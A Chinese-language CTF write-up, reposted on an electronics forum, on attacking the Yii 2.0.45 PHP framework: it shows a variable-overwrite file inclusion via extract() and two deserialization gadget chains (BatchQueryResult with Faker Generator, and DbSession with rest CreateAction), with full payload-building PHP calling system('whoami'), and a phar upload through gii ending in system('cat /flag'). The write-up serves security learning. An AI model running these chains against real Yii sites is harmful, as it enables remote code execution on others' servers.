0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

聊聊PHP的web應(yīng)用程序開(kāi)發(fā)框架存在的漏洞有哪些

jf_vLt34KHi ? 來(lái)源:Tide安全團(tuán)隊(duì) ? 作者:天下兵馬大都督 ? 2022-11-16 10:37 ? 次閱讀

概述

簡(jiǎn)單說(shuō)下Yii 是一個(gè)高性能PHP的web 應(yīng)用程序開(kāi)發(fā)框架。通過(guò)一個(gè)簡(jiǎn)單的命令行工具 yiic 可以快速創(chuàng)建一個(gè) web 應(yīng)用程序的代碼框架,開(kāi)發(fā)者可以在生成的代碼框架基礎(chǔ)上添加業(yè)務(wù)邏輯,以快速完成應(yīng)用程序的開(kāi)發(fā)。

小伙伴ctf比賽時(shí),遇見(jiàn)了這個(gè)框架,把題型發(fā)來(lái),既然是代碼審計(jì),這個(gè)附件應(yīng)該就是源碼,把這個(gè)下載下來(lái),看看里面有啥吧。

下面附兩張圖:

3ab96eec-64cb-11ed-8abf-dac502259ad0.png

3af6954c-64cb-11ed-8abf-dac502259ad0.png

接下來(lái)就聊聊這個(gè)框架存在的漏洞有哪些,稍稍做個(gè)總結(jié)。

文件包含

3b1247d8-64cb-11ed-8abf-dac502259ad0.png

當(dāng)小白看到文件上傳的功能時(shí),而且沒(méi)有限制文件類型的邏輯,便想到了這個(gè)框架可能存在文件包含的漏洞,因?yàn)樯蟼鞯穆窂绞?tmp的路徑,不在web目錄下。

如果想利用必須要通過(guò)文件包含、或者目錄穿越的漏洞。

從過(guò)源代碼的分析,文件目錄是這么定義的。

if(Yii::$app->request->isPost){
$model->file=UploadedFile::getInstance($model,'file');

if($model->file&&$model->validate()){
$path='/tmp/'.$model->file->baseName.'.'.$model->file->extension;
$model->file->saveAs($path);
return$path;
}else{
returnjson_encode($model->errors);
}
}

當(dāng)baseName和extension不能通過(guò)改變請(qǐng)求包控制時(shí),所以文件穿越不存在,只能文件包含了,隨百度之。在源代碼里有這么一段代碼:

publicfunctionrenderPhpFile($_file_,$_params_=[])
{
$_obInitialLevel_=ob_get_level();
ob_start();
ob_implicit_flush(false);
extract($_params_,EXTR_OVERWRITE);
try{
require$_file_;

extract是將數(shù)組解析成變量的一個(gè)函數(shù),通過(guò)構(gòu)建_file_的變量值,來(lái)包含tmp下的文件,這是小白當(dāng)時(shí)做題時(shí)的思路。

構(gòu)建方式是在控制器里有一個(gè)接受外界參數(shù)的變量,如下所示data

publicfunctionactionIndex()
{
$data=[['a'=>'b'],'_file_'=>'/etc/passwd','name'=>'14yn3'];
return$this->render('index',$data);
}

訪問(wèn)后的結(jié)果如下:

3b213626-64cb-11ed-8abf-dac502259ad0.png

證明確實(shí)存在,小白按照代碼的規(guī)則進(jìn)行項(xiàng)目的整體查閱,只找到類似這種結(jié)構(gòu)的代碼段

$model->password='';
return$this->render('login',[
'model'=>$model,
]);

這種model的參數(shù),構(gòu)建不出來(lái)file變量名,而且這是一個(gè)對(duì)象的形式。

后來(lái)想破壞對(duì)象的結(jié)構(gòu),構(gòu)建數(shù)組,花費(fèi)一個(gè)多小時(shí)無(wú)果,尋找另外個(gè)入口。至此證明yii存在變量覆蓋,文件包含的漏洞。

gii 出場(chǎng)【phar反序列化】

當(dāng)所有代碼段都不滿足構(gòu)建條件的時(shí)候,便有了這個(gè)gii哥們的想法,它是一個(gè)自動(dòng)給開(kāi)發(fā)者構(gòu)建模塊、數(shù)據(jù)、控制器簡(jiǎn)單邏輯的工具,或者說(shuō)腳手架,驗(yàn)證開(kāi)啟方式:全局搜索gii.

3bae2c02-64cb-11ed-8abf-dac502259ad0.png

訪問(wèn)方式:r=gii,如下圖所示:

3cca223a-64cb-11ed-8abf-dac502259ad0.png

然后構(gòu)建我們自己的控制器,點(diǎn)擊控制器生成下的start。在表單里隨便填下控制器名稱,點(diǎn)擊預(yù)覽,

3d516eb6-64cb-11ed-8abf-dac502259ad0.png

生的的代碼如下:

3d6a2794-64cb-11ed-8abf-dac502259ad0.png

看到并沒(méi)有把render的第二個(gè)參數(shù)給傳遞過(guò)去,至此文件包含的思路徹底放棄。既然都聊到這了,那就索性看這個(gè)gii有什么漏洞,谷歌百度一下,

yii反序列化【payload是自己構(gòu)建、不同于找已存在漏洞】

查一下現(xiàn)在系統(tǒng)的版本號(hào):2.0.45 This is Yii version 2.0.45.

鏈一

vendor/yiisoft/yii2/db/BatchQueryResult.php

php
publicfunction__destruct()
{
//makesurecursorisclosed
$this->reset();
}

publicfunctionreset()
{
if($this->_dataReader!==null){
$this->_dataReader->close();
}
$this->_dataReader=null;
$this->_batch=null;
$this->_value=null;
$this->_key=null;
$this->trigger(self::EVENT_RESET);
}

所以這個(gè)$this->_dataReader是可控的,那么close方法,這里就有兩個(gè)思路,第一個(gè)是存在close方法,尋找利用點(diǎn),第二個(gè)不存在,調(diào)用call方法的利用點(diǎn),先看第二個(gè)的思路,找call方法,vendor/fakerphp/faker/src/Faker/Generator.php。

publicfunction__call($method,$attributes)
{
return$this->format($method,$attributes);
}

publicfunctionformat($format,$arguments=[])
{
returncall_user_func_array($this->getFormatter($format),$arguments);
}

publicfunctiongetFormatter($format)
{
if(isset($this->formatters[$format])){
return$this->formatters[$format];
}

這個(gè)類的$this->formatters也是可控的。當(dāng)調(diào)用close的方法,便調(diào)用了call方法,此時(shí)close的方法名,便作為call的第一個(gè)參數(shù)被傳遞進(jìn)來(lái),也就是method是close。

此時(shí)構(gòu)建payload【payload輸出有特殊字符,需要在console的控制臺(tái)復(fù)制】

namespaceyiidb{
classBatchQueryResult{
private$_dataReader;
publicfunction__construct($_dataReader){
$this->_dataReader=$_dataReader;
}
}
}
namespaceFaker{
classGenerator{
protected$formatters=[];
publicfunction__construct($formatters){
$this->formatters=$formatters;
}
}
}
namespace{
$a=newFakerGenerator(array('close'=>'phpinfo'));
$b=newyiidbBatchQueryResult($a);
print(serialize($b));
}

此時(shí)的payload在這個(gè)ctf給定的壓縮代碼里是不能執(zhí)行的。因?yàn)檫@個(gè)版本大于2.0.37。到這里找一下為什么不能執(zhí)行,查閱文檔得知。這兩個(gè)類都實(shí)現(xiàn)了wakeup的方法,

//BatchQueryResult.php【只要序列化這個(gè)類,就報(bào)錯(cuò)】
publicfunction__wakeup()
{
thrownewBadMethodCallException('Cannotunserialize'.__CLASS__);
}

//Generator.php【只要序列化這個(gè)類,formatters的內(nèi)容就置空】
publicfunction__wakeup()
{
$this->formatters=[];
}

當(dāng)注釋掉這兩個(gè)方法的時(shí)候,就可以實(shí)現(xiàn)返回值了。注意目前調(diào)用的函數(shù)沒(méi)有傳遞參數(shù),只能掉phpinfo這類的函數(shù),輸出是字符串類型的。結(jié)果如下:

3d953c18-64cb-11ed-8abf-dac502259ad0.png

補(bǔ)充:正則匹配call_user_func($this->([a-zA-Z0-9]+), $this->([a-zA-Z0-9]+)。

鏈二

研究完了call的方法,現(xiàn)在看看close的方法。當(dāng)全局搜索close方法的時(shí)候,找到vendoryiisoftyii2webDbSession.php。

publicfunctionclose()
{
if($this->getIsActive()){
//preparewriteCallbackfieldsbeforesessioncloses
$this->fields=$this->composeFields();
YII_DEBUG?session_write_close():@session_write_close();
}
}

/**
*@returnboolwhetherthesessionhasstarted
*開(kāi)啟dug,在這個(gè)版本下,此函數(shù)驗(yàn)證為true,小于2.0.38不需要開(kāi)啟debug
*/
publicfunctiongetIsActive()
{
returnsession_status()===PHP_SESSION_ACTIVE;
}

protectedfunctioncomposeFields($id=null,$data=null)
{
$fields=$this->writeCallback?call_user_func($this->writeCallback,$this):[];
if($id!==null){
$fields['id']=$id;
}
if($data!==null){
$fields['data']=$data;
}
return$fields;
}

call_user_func方法如果$this->writeCallback為字符串,就是方法名,如果是數(shù)組,就是類名和方法。

所以為了解決給方法傳遞參數(shù)的缺陷,這里再去調(diào)用另一個(gè)類的方法,這個(gè)方法可以是可以傳遞參數(shù)進(jìn)去的。使用鏈一的方法備注正則搜索。調(diào)用的文件代碼如下:

//vendor/yiisoft/yii2/rest/CreateAction.php
publicfunctionrun()
{
if($this->checkAccess){
call_user_func($this->checkAccess,$this->id);
}
//$this->checkAccess和$this->id都是我們可控的

構(gòu)建payload

namespaceyiidb{
classBatchQueryResult{
private$_dataReader;
publicfunction__construct($_dataReader){
$this->_dataReader=$_dataReader;
}
}
}
namespaceFaker{
classGenerator{
protected$formatters=[];
publicfunction__construct($formatters){
$this->formatters=$formatters;
}
}
}

namespaceyiirest{
classCreateAction{
public$checkAccess;
public$id;
publicfunction__construct($checkAccess,$id){
$this->checkAccess=$checkAccess;
$this->id=$id;
}
}
}

namespaceyiiweb{
classDbSession{
public$writeCallback;
publicfunction__construct($writeCallback){
$this->writeCallback=$writeCallback;
}
}
}

namespace{
//$a=newFakerGenerator(array('close'=>'phpinfo'));
//$b=newyiidbBatchQueryResult($a);
//print(serialize($b));
$c=newyii
estCreateAction('system','whoami');
$b=newyiiwebDbSession(array($c,'run'));
$a=newyiidbBatchQueryResult($b);
print(serialize($a));
}

3dbce718-64cb-11ed-8abf-dac502259ad0.png

跳轉(zhuǎn)gii

通過(guò)前臺(tái)上傳功能,上傳

3decf7aa-64cb-11ed-8abf-dac502259ad0.png

這個(gè)文件,然后返回上傳路徑:

3e77484c-64cb-11ed-8abf-dac502259ad0.png

gii控制器生成頁(yè)抓取數(shù)據(jù)包

3e974a7a-64cb-11ed-8abf-dac502259ad0.png

在后面增加cmd=system('cat /flag'),因?yàn)樵趐har.jpg中有這個(gè)一個(gè)執(zhí)行代碼

3ed0a87e-64cb-11ed-8abf-dac502259ad0.png

即可拿到flag。






審核編輯:劉清

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 控制器
    +關(guān)注

    關(guān)注

    112

    文章

    16361

    瀏覽量

    178023
  • PHP
    PHP
    +關(guān)注

    關(guān)注

    0

    文章

    452

    瀏覽量

    26687

原文標(biāo)題:yii && gii ctf篇

文章出處:【微信號(hào):Tide安全團(tuán)隊(duì),微信公眾號(hào):Tide安全團(tuán)隊(duì)】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    Web框架使用哪些編程語(yǔ)言?

    實(shí)現(xiàn)js在服務(wù)器端的編譯,而且擁有更好的組織代碼,提升復(fù)用性,非常適合在分布式設(shè)備上運(yùn)行數(shù)據(jù)密集型的實(shí)時(shí)應(yīng)用。2. PHPPHP是Web架構(gòu)開(kāi)發(fā)常用語(yǔ)言,PHP開(kāi)發(fā)了很多
    發(fā)表于 03-28 16:53

    主流web前端技術(shù)框架

    Web架構(gòu)是為解決Web開(kāi)發(fā)中開(kāi)放性問(wèn)題而設(shè)計(jì)的具有一定約束性的支撐結(jié)構(gòu),使用框架可以幫助快速實(shí)現(xiàn)Web
    發(fā)表于 03-28 16:56

    Struts In Action使用領(lǐng)先的Java框架構(gòu)建Web應(yīng)用

    歡迎你閱讀《Struts In Action》。本書(shū)的目的是幫助Web應(yīng)用開(kāi)發(fā)者能夠最好的使用Struts web應(yīng)用框架。 Struts是一個(gè)開(kāi)源軟件,有助于
    發(fā)表于 04-14 20:17 ?34次下載

    高性能PHP應(yīng)用開(kāi)發(fā)

    國(guó)外書(shū)籍,圖靈程序設(shè)計(jì)叢書(shū)。本書(shū)是一本廣受好評(píng)的PHP性能優(yōu)化方面的圖書(shū),通過(guò)介紹PHP的原理和相關(guān)工具集來(lái)實(shí)現(xiàn)調(diào)優(yōu)性能的目的。它分析和研究了web
    發(fā)表于 03-31 10:14 ?2次下載

    基于Scrapy的爬蟲(chóng)框架Web應(yīng)用程序漏洞檢測(cè)方法

    不斷提高和完善防御的方法和手段。針對(duì)此問(wèn)題,提出了一種基于Scrapy的爬蟲(chóng)框架Web應(yīng)用程序漏洞檢測(cè)方法。通過(guò)框架提供的便利條件對(duì)頁(yè)面進(jìn)
    發(fā)表于 12-07 09:48 ?2次下載
    基于Scrapy的爬蟲(chóng)<b class='flag-5'>框架</b>的<b class='flag-5'>Web</b><b class='flag-5'>應(yīng)用程序</b><b class='flag-5'>漏洞</b>檢測(cè)方法

    C語(yǔ)言-Web應(yīng)用程序

    。 1996年,Microsoft公司推出了功能強(qiáng)大的服務(wù)器端腳本編程環(huán)境ASP,2001年版本更新為ASP3.0。ASP.NET雖然是ASP3.0的延續(xù),但它是一種完全不同的網(wǎng)頁(yè)開(kāi)發(fā)手段。它建立在.NET平臺(tái)上,在基于公共語(yǔ)言運(yùn)行庫(kù)(CLR)的編程框架的服務(wù)器上可以生成
    發(fā)表于 04-23 11:19 ?12次下載

    Web開(kāi)發(fā)常見(jiàn)的十大頂級(jí)Nodejs框架

    巨大的JavaScript社區(qū)很快意識(shí)到在客戶端和服務(wù)器端腳本中使用相同語(yǔ)言的優(yōu)勢(shì),Node.js已成為Web開(kāi)發(fā)的流行環(huán)境。但是,完美沒(méi)有限制,開(kāi)發(fā)人員已經(jīng)為Node.js開(kāi)發(fā)創(chuàng)建了
    的頭像 發(fā)表于 12-09 11:28 ?2.2w次閱讀

    PHP的CI框架分頁(yè)使用程序資料免費(fèi)下載

    本文檔的主要內(nèi)容詳細(xì)介紹的是PHP的CI框架分頁(yè)使用程序資料免費(fèi)下載。
    發(fā)表于 02-22 14:25 ?5次下載
    <b class='flag-5'>PHP</b>的CI<b class='flag-5'>框架</b>分頁(yè)使用<b class='flag-5'>程序</b>資料免費(fèi)下載

    現(xiàn)在流行的Web APP開(kāi)發(fā)框架有哪些

    Web APP框架開(kāi)發(fā)旨在支持開(kāi)發(fā)人員使用單一編程語(yǔ)言構(gòu)建交互式應(yīng)用程序。市場(chǎng)上推出了一系列框架
    的頭像 發(fā)表于 12-29 09:50 ?1.2w次閱讀

    Web應(yīng)用安全防護(hù)容易犯錯(cuò)的十大誤區(qū)

    Web應(yīng)用框架和模塊庫(kù)已徹底改變了Web應(yīng)用系統(tǒng)的開(kāi)發(fā)方式,提供了構(gòu)建生產(chǎn)級(jí)站點(diǎn)和應(yīng)用程序的基礎(chǔ),會(huì)大大節(jié)約應(yīng)用
    的頭像 發(fā)表于 11-21 12:28 ?776次閱讀

    php的特點(diǎn)哪些

    PHP是一種通用的腳本語(yǔ)言,特點(diǎn)豐富多樣。 PHP是一種開(kāi)源的服務(wù)器端腳本語(yǔ)言,主要用于開(kāi)發(fā)Web應(yīng)用程序。它可以嵌入HTML代碼中,也可以
    的頭像 發(fā)表于 12-04 15:50 ?1585次閱讀

    php的適用范圍

    PHP是一種通用的腳本語(yǔ)言,特別適用于Web開(kāi)發(fā)。它可以用來(lái)開(kāi)發(fā)動(dòng)態(tài)網(wǎng)頁(yè)、網(wǎng)站和Web應(yīng)用程序
    的頭像 發(fā)表于 12-04 15:54 ?529次閱讀

    web前端開(kāi)發(fā)和前端開(kāi)發(fā)的區(qū)別

    、CSS和JavaScript等技術(shù)來(lái)構(gòu)建用戶界面,實(shí)現(xiàn)用戶與應(yīng)用程序的交互。Web前端開(kāi)發(fā)包括網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)頁(yè)編碼、前端框架使用以及優(yōu)化頁(yè)面性能等任務(wù)。 前端
    的頭像 發(fā)表于 01-18 09:54 ?3529次閱讀

    AWTK-WEB 快速入門(1) - C 語(yǔ)言應(yīng)用程序

    導(dǎo)讀AWTK可以使用相同的技術(shù)棧開(kāi)發(fā)各種平臺(tái)的應(yīng)用程序。有時(shí)我們需要使用Web界面與設(shè)備進(jìn)行交互,本文介紹一下如何使用C語(yǔ)言開(kāi)發(fā)AWTK-WEB
    的頭像 發(fā)表于 11-27 11:46 ?205次閱讀
    AWTK-<b class='flag-5'>WEB</b> 快速入門(1) - C 語(yǔ)言<b class='flag-5'>應(yīng)用程序</b>

    SSM框架在Java開(kāi)發(fā)中的應(yīng)用 如何使用SSM進(jìn)行web開(kāi)發(fā)

    (full-stack)的應(yīng)用程序框架,它提供了全面的基礎(chǔ)設(shè)施建設(shè)支持,能夠幫助開(kāi)發(fā)者構(gòu)建出企業(yè)級(jí)的應(yīng)用程序。Spring的核心是控制反轉(zhuǎn)(I
    的頭像 發(fā)表于 12-16 17:28 ?465次閱讀